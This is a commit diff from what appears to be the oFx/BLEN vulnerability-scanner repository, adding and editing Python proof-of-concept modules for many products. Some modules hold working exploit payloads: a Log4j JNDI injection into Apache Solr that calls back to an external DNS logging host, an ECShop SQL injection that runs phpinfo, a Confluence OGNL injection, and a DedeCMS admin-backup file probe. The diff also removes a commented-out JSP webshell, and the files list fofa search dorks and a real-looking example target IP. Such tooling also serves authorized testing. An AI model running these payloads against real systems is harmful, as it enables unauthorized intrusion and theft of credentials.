openx-org/BLEN
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

2.23.9

Browse Source
This commit is contained in:
openx-org
2022-04-24 14:09:03 +08:00
parent a163179dd3
commit 1ecdf0d3f8
270 changed files with 923 additions and 321 deletions
Download Patch File Download Diff File Expand all files Collapse all files

BIN
poc/360/TianQing_Unauth_Acceess/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/360/TianQing_Unauth_Acceess/poc.py
View File

@@ -9,7 +9,7 @@ urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者

BIN
poc/ACME/File_Read_mini_httpd_CVE_2018_18778/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/ACME/File_Read_mini_httpd_CVE_2018_18778/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "mini_httpd任意文件读取漏洞(CVE-2018-18778)", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "", # 漏洞应用名称
"AppVersion" : "ACME mini_httpd before 1.30", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/Alibaba_Druid/Unauth_Access/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Alibaba_Druid/Unauth_Access/poc.pyc
View File

Binary file not shown.

BIN
poc/Alibaba_FastJson/RCE_CVE_2017_18349/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

6
poc/Alibaba_FastJsonRCE_CVE_2017_18349/poc.py → poc/Alibaba_FastJson/RCE_CVE_2017_18349/poc.py
View File

@@ -9,12 +9,12 @@ urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "hansi", # POC作者
"author" : "jijue", # POC作者
"version" : "1", # POC版本，默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
组件类的漏洞并不适合直接拿到BLEN里批量扫，失败是可以预见的事情，笔者建议的是在渗透过程中将可疑的url拿来测试
组件类的漏洞并不适合直接拿到oFx里批量扫，失败是可以预见的事情，笔者建议的是在渗透过程中将可疑的url拿来测试
""", # POC描述，写更新描述，没有就不写
"name" : "Fastjson 反序列化远程代码执行漏洞（CVE-2017-18349）", # 漏洞名称
@@ -36,7 +36,9 @@ class POC(POCBase):
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]

BIN
poc/Alibaba_Nacos/Unauth_Access/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Alibaba_Nacos/Unauth_Access/poc.pyc
View File

Binary file not shown.

BIN
poc/Apache_ActiveMQ/Physical_Path_Disclosure/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

4
poc/Apache_ActiveMQ/Physical_Path_Disclosure/poc.py
View File

@@ -9,7 +9,7 @@ urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue&&hansi", # POC作者
"author" : "jijue", # POC作者
"version" : "1", # POC版本，默认是1
"CreateDate" : "2022-01-01", # POC创建时间
"UpdateDate" : "2022-01-01", # POC创建时间
@@ -36,7 +36,9 @@ class POC(POCBase):
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]

BIN
poc/Apache_ActiveMQ/RCE_FileServer_CVE_2016_3088/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

37
poc/Apache_ActiveMQ/RCE_FileServer_CVE_2016_3088/poc.py
View File

@@ -14,7 +14,7 @@ class POC(POCBase):
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
略
略
""", # POC描述，写更新描述，没有就不写
"name" : "Apache ActiveMQ 远程代码执行漏洞(CVE-2016-3088)", # 漏洞名称
@@ -27,7 +27,7 @@ class POC(POCBase):
""", # 漏洞简要描述
"fofa-dork":"""
app="APACHE-ActiveMQ"
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url，写一个就可以了
"exp_img" : "", # 先不管
@@ -52,38 +52,7 @@ class POC(POCBase):
}
filename = random_str()
filecontent = random_str()
# filecontent = """
# <%!
# class ON extends ClassLoader{
# ON(ClassLoader c){super(c);}
# public Class qualified(byte[] b){
# return super.defineClass(b, 0, b.length);
# }
# }
# public byte[] interacts(String str) throws Exception {
# Class base64;
# byte[] value = null;
# try {
# base64=Class.forName("sun.misc.BASE64Decoder");
# Object decoder = base64.newInstance();
# value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
# } catch (Exception e) {
# try {
# base64=Class.forName("java.util.Base64");
# Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
# value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
# } catch (Exception ee) {}
# }
# return value;
# }
# %>
# <%
# String cls = request.getParameter("123");
# if (cls != null) {
# new ON(this.getClass().getClassLoader()).qualified(interacts(cls)).newInstance().equals(new Object[]{request,response});
# }
# %>
# """
try:
"""
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动

BIN
poc/Apache_ActiveMQ/WeakPass/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Apache_ActiveUC/Active_UC_Info_Disclosure/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Apache_ApiSix/DashBoard_Auth_Bypass_CVE_2021_45232/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/Apache_ApiSix/DashBoard_Auth_Bypass_CVE_2021_45232/poc.py
View File

@@ -38,7 +38,9 @@ class POC(POCBase):
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]

BIN
poc/Apache_ApiSix/Default_Key_CVE_2020_13945/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/Apache_ApiSix/Default_Key_CVE_2020_13945/poc.py
View File

@@ -39,7 +39,9 @@ class POC(POCBase):
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]

BIN
poc/Apache_CouchDB/Priv_Escalation_CVE_2017_12635/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Apache_Druid/File_Read_CVE_2021_36749/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Apache_Flink/Dir_Traversal_CVE-2020-17519/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Apache_Flink/RCE_CVE_2020_17518/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

72
poc/Apache_Kudu/Apache_Kudu_UnAuth_Access/poc.py
View File

@@ -1,72 +0,0 @@
# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "hansi", # POC作者
"version" : "1", # POC版本，默认是1
"CreateDate" : "2022-01-10", # POC创建时间
"UpdateDate" : "2022-01-10", # POC创建时间
"PocDesc" : """
略
""", # POC描述，写更新描述，没有就不写
"name" : "Apache Kudu存在未授权访问漏洞", # 漏洞名称
"VulnID" : "", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "Apache Kudu未授权访问漏洞", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2022-01-10", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
"VulnDesc" : """
""", # 漏洞简要描述
"fofa-dork":"""
”Kudu”
""", # fofa搜索语句
"example" : "http://111.1.10.15:8060/", # 存在漏洞的演示url，写一个就可以了
"exp_img" : "", # 先不管
}
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]
url = self.target + "" # url自己按需调整
headers = {"User-Agent":get_random_ua(),
"Connection":"close",
"Content-Type": "application/x-www-form-urlencoded",
}
try:
"""
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
req = requests.get(url,headers = headers ,proxies = self.proxy ,timeout = self.timeout,verify = False)
if req.status_code ==200 and "RPCs" in req.text:
vuln = [True,req.text]
else:
vuln = [False,req.text]
except Exception as e:
raise e
# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()

BIN
poc/Apache_Kylin/Conf_Info_Disclosure_CVE_2020_13937/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

4
poc/Apache_Kylin/Conf_Info_Disclosure_CVE_2020_13937/poc.py
View File

@@ -17,7 +17,7 @@ class POC(POCBase):
略
""", # POC描述，写更新描述，没有就不写
"name" : "Apache Kylin 未授权配置泄露 CVE-2020-13937", # 漏洞名称
"name" : "Apache Kylin 未授权配置泄露(CVE-2020-13937)", # 漏洞名称
"VulnID" : "CVE-2020-13937", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "Apache Kylin", # 漏洞应用名称
"AppVersion" : """
@@ -59,7 +59,7 @@ class POC(POCBase):
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
req = requests.get(url,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if "config" in req.text:#req.status_code == 200 and :
if '{"config":"' in req.text:#req.status_code == 200 and :
vuln = [True,req.text]
else:
vuln = [False,req.text]

BIN
poc/Apache_Mod_jk/ACbypass_CVE_2018_11759/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/Apache_Mod_jk/ACbypass_CVE_2018_11759/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "Apache Mod_jk 访问控制权限绕过(CVE-2018-11759)", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "Apache Mod_jk", # 漏洞应用名称
"AppVersion" : "Apache Mod_jk Connector 1.2.0 ~ 1.2.44", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/Apache_Solr/CVE_2019_17558/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Apache_Solr/File_Read/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/Apache_Solr/File_Read/poc.py
View File

@@ -21,7 +21,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "Apache Solr 任意文件读取漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "Apache Solr", # 漏洞应用名称
"AppVersion" : "Apache Solr <= 8.8.1", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/Apache_Solr/RCE_Log4j_CVE_2021_44228/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

85
poc/Apache_Solr/RCE_Log4j_CVE_2021_44228/poc.py Normal file
View File

@@ -0,0 +1,85 @@
# coding:utf-8
import requests
import time
from lib.core.common import get_ceye_dns, url_handle,get_random_ua,random_str,verify_ceye_dns
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本，默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
该漏洞没有回显，因此POC需要接通dns平台，现已支持知道创宇的ceye，配置位置为项目根目录下的info.ini
这是笔者针对没有回显的漏洞写的第一个oFx POC，以后不会解释这么多
""", # POC描述，写更新描述，没有就不写
"name" : "Apache Solr 远程命令执行 Log4j", # 漏洞名称
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "Apache Solr", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
"VulnDesc" : """
Apache Solr引用了Log4j，因为CVE-2021-44228 balabalaba。。我编不出来了，大概的意思懂得都懂
笔者最早是在PeiQi看到的，就写了这么个东西
""", # 漏洞简要描述
"fofa-dork":"""
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url，写一个就可以了
"exp_img" : "", # 先不管
}
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]
success,dns_flag = get_ceye_dns()
if success == False:
return [False,dns_flag]
url = self.target + "/solr/admin/collections?action=$%7bjndi:ldap://"+dns_flag+"%7d&wt=jso" # url自己按需调整
headers = {"User-Agent":get_random_ua(),
"Connection":"close",
# "Content-Type": "application/x-www-form-urlencoded",
}
try:
"""
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
req = requests.get(url,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
flager = verify_ceye_dns(dns_flag)
if flager == True:
vuln = [True,dns_flag]
elif flager == False:
vuln = [False,dns_flag]
else:
vuln = [False,flager]
except Exception as e:
raise e
# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()

BIN
poc/BSPHP/Info_Disclosure/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/BSPHP/Info_Disclosure/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "BSPHP 未授权访问 信息泄露漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "BSPHP", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/Bithighway_碧海威/Weak_Pass_L7/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/Bithighway_碧海威/Weak_Pass_L7/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "碧海威 L7 弱口令漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "碧海威 L7", # 漏洞应用名称
"AppVersion" : "None", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/C_Lodop/File_Read/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/China_Mobile_中国移动/Info_Disclosure_Yu_routing_ExportSettings/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/China_Mobile_中国移动/Info_Disclosure_Yu_routing_ExportSettings/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "中国移动 禹路由 ExportSettings.sh 敏感信息泄露漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "中国移动 禹路由", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/China_TeleCOM_中国电信/RCE_F460_GateWay/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/China_TeleCOM_中国电信/RCE_F460_GateWay/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "电信天翼网关F460 web_shell_cmd.gch 远程命令执行漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "电信天翼网关F460", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2014-03-03", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/China_TeleCOM_中国电信/Weak_Pass_DaTang_AC_Manager/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Confluence/OGNL_Injection_CVE_2021_26084/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

4
poc/Confluence/OGNL_Injection_CVE_2021_26084/poc.py
View File

@@ -53,7 +53,7 @@ class POC(POCBase):
"""
vuln = [False,""]
url = self.target + "/pages/createpage-entervariables.action?SpaceKey=x" # url自己按需调整
data = "queryString=Blen\\u0027%2b#{6*666}%2b\\u0027"
data = "queryString=ofx\\u0027%2b#{6*666}%2b\\u0027"
headers = {"User-Agent":get_random_ua(),
"Connection":"close",
@@ -65,7 +65,7 @@ class POC(POCBase):
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
req = requests.post(url,data=data,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if "Blen{3996=null}" in req.text:
if "ofx{3996=null}" in req.text:
vuln = [True,req.text]
else:
vuln = [False,req.text]

BIN
poc/Coremail/Conf_Info_Disclosure/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/Coremail/Conf_Info_Disclosure/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "Coremail 配置信息泄露漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "Coremail", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/CtCMS_赤兔CMS/Get_Banner/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/CtCMS_赤兔CMS/Get_Banner/poc.py
View File

@@ -19,7 +19,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "赤兔CMS banner识别插件", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "赤兔CMS", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/DVR/Login_Bypass_CVE_2018_9995/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/D_Link/RCE_ShareCenter_system_mgr_cgi/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/D_Link/RCE_ShareCenter_system_mgr_cgi/poc.py
View File

@@ -19,7 +19,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "D-Link ShareCenter DNS-320 system_mgr.cgi 远程命令执行漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "D-Link ShareCenter DNS-320", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/D_Link/UPInfo_Disclosure_getcfg_php_CVE_2019_17506/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

0
poc/D_Link/UPInfo_Disclosure_getcfg_php/poc.py → poc/D_Link/UPInfo_Disclosure_getcfg_php_CVE_2019_17506/poc.py
View File

BIN
poc/D_Link/Weak_Pass_AC_Manager/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/D_Link/Weak_Pass_AC_Manager/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "D-Link AC管理系统默认账号密码", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "D-Link AC管理系统", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/DedeCMS_织梦/Info_Disclosure_IIS_Short_Filename/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

76
poc/DedeCMS_织梦/Info_Disclosure_IIS_Short_Filename/poc.py Normal file
View File

@@ -0,0 +1,76 @@
# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本，默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
备份文件的地址会写在md输出中
""", # POC描述，写更新描述，没有就不写
"name" : "DedeCMS 短文件名信息泄露", # 漏洞名称
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
"VulnDesc" : """
IIS下，会因为固有的短文件名问题导致配置文件的地址可以被猜解
猜解出来的文件url，存的信息是dede_admin表的备份，可能存在过期现象，要有心理准备
""", # 漏洞简要描述
"fofa-dork":"""
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url，写一个就可以了
"exp_img" : "", # 先不管
}
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]
url = self.target + "/data/backupdata/dede_a~" # url自己按需调整
headers = {"User-Agent":get_random_ua(),
"Connection":"close",
# "Content-Type": "application/x-www-form-urlencoded",
}
try:
"""
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
for i in range(1,9):
now_url = url + str(i) + ".txt"
req = requests.get(now_url,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if req.status_code == 200 and "INSERT INTO `dede_admin`" in req.text:
vuln = [True,"<title>" + now_url + "</title>\n" + req.text]
break
else:
vuln = [False,req.text]
except Exception as e:
raise e
# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()

BIN
poc/DedeCMS_织梦/RadminPass/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

4
poc/DedeCMS_织梦/RadminPass/poc.py
View File

@@ -17,8 +17,8 @@ class POC(POCBase):
略
""", # POC描述，写更新描述，没有就不写
"name" : "radminpass.php文件暴露", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"name" : "织梦CMS radminpass.php文件暴露", # 漏洞名称
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "dedecms", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/DocCMS/SQLi_keyword/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/DocCMS/SQLi_keyword/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "DocCMS keyword SQL注入漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "DocCMS", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/DrayTek/RCE_CVE_2020_8515/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Drupal!/RCE_CVE_2018_7600/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/ECShop/RCE_2dotX_OR_3dotX/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

73
poc/ECShop/RCE_2dotX_OR_3dotX/poc.py Normal file
View File

@@ -0,0 +1,73 @@
# coding:utf-8
import requests,re
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本，默认是1
"CreateDate" : "2022-01-01", # POC创建时间
"UpdateDate" : "2022-01-01", # POC创建时间
"PocDesc" : """
略
""", # POC描述，写更新描述，没有就不写
"name" : "ECShop 2.x/3.x SQL 注入/远程代码执行漏洞", # 漏洞名称
"VulnID" : "oFx-2022-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2022-01-01", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
"VulnDesc" : """
""", # 漏洞简要描述
"fofa-dork":"""
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url，写一个就可以了
"exp_img" : "", # 先不管
}
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]
url = self.target + "/user.php?act=login" # url自己按需调整
regular = "PHP Version [0-9\.]+"
headers = {"User-Agent":get_random_ua(),
"Connection":"close",
"Referer": """45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a""",
# "Content-Type": "application/x-www-form-urlencoded",
}
try:
"""
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
req = requests.get(url,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if re.search(regular,req.text):#req.status_code == 200 and :
vuln = [True,req.text]
else:
vuln = [False,req.text]
except Exception as e:
raise e
# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()

BIN
poc/ECShop/SQLi_delete_cart_goods/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Elasticsearch/Cmd_Exec_MVEL_CVE-2014-3120/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Elasticsearch/Code_Exec_Groovy_CVE-2015-1427/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Elasticsearch/Dir_Traversal_CVE-2015-5531/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Elasticsearch/File_Create_WooYun-2015-110216/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Elasticsearch/Unauth_Access/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/Eyou_亿邮/RCE_moni_detail/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/F5_BIG_IP/File_Read_CVE_2020_5902/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
